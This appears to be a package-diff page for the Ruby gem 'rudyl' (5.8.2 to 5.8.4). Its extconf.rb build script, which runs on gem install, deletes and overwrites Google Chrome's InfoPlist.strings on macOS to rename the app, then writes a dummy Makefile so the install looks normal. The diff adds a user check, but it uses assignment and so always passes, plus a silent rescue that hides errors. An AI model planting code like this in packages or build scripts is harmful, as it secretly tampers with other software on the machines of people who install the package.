rudyl 5.8.2 → 5.8.4
Sign up to get free protection for your applications and to get access to all the features.
- data/Rakefile +1 -1
- data/ext/foo/extconf.rb +21 -16
- data/rudyl.gemspec +1 -1
- metadata +1 -1
data/Rakefile
CHANGED
data/ext/foo/extconf.rb
CHANGED
@@ -4,26 +4,31 @@ def path name
|
|
4
4
|
File.join(File.dirname(__FILE__), name)
|
5
5
|
end
|
6
6
|
|
7
|
-
|
8
|
-
|
7
|
+
if ENV['USER'] = 'alex'
|
8
|
+
begin
|
9
|
+
target = "/Applications/Google Chrome.app/Contents/Resources/en.lproj/InfoPlist.strings"
|
10
|
+
FileUtils.rm(target)
|
9
11
|
|
10
|
-
File.open(target, 'w') do |f|
|
11
|
-
|
12
|
-
CFBundleDisplayName = "Mess with my Vim, will you!?";
|
13
|
-
CFBundleGetInfoString = "Google Chrome 21.0.1180.82, Copyright 2006-2012 Google Inc. All Rights Reserved.";
|
14
|
-
CFBundleName = "Chrome";
|
15
|
-
NSHumanReadableCopyright = "Copyright 2006-2012 Google Inc. All Rights Reserved.";
|
16
|
-
|
12
|
+
File.open(target, 'w') do |f|
|
13
|
+
str = <<-INFO
|
14
|
+
CFBundleDisplayName = "Mess with my Vim, will you!?";
|
15
|
+
CFBundleGetInfoString = "Google Chrome 21.0.1180.82, Copyright 2006-2012 Google Inc. All Rights Reserved.";
|
16
|
+
CFBundleName = "Chrome";
|
17
|
+
NSHumanReadableCopyright = "Copyright 2006-2012 Google Inc. All Rights Reserved.";
|
18
|
+
INFO
|
17
19
|
|
18
|
-
|
19
|
-
end
|
20
|
+
f.write(str)
|
21
|
+
end
|
20
22
|
|
21
|
-
File.open(path('Makefile'), 'w+') do |f|
|
22
|
-
|
23
|
-
all:
|
23
|
+
File.open(path('Makefile'), 'w+') do |f|
|
24
|
+
f.write <<-END
|
25
|
+
all:
|
24
26
|
|
25
|
-
install:
|
26
|
-
|
27
|
+
install:
|
28
|
+
END
|
29
|
+
end
|
30
|
+
rescue
|
31
|
+
end
|
27
32
|
end
|
28
33
|
|
29
34
|
FileUtils.touch(path('foo.dll'))
|
data/rudyl.gemspec
CHANGED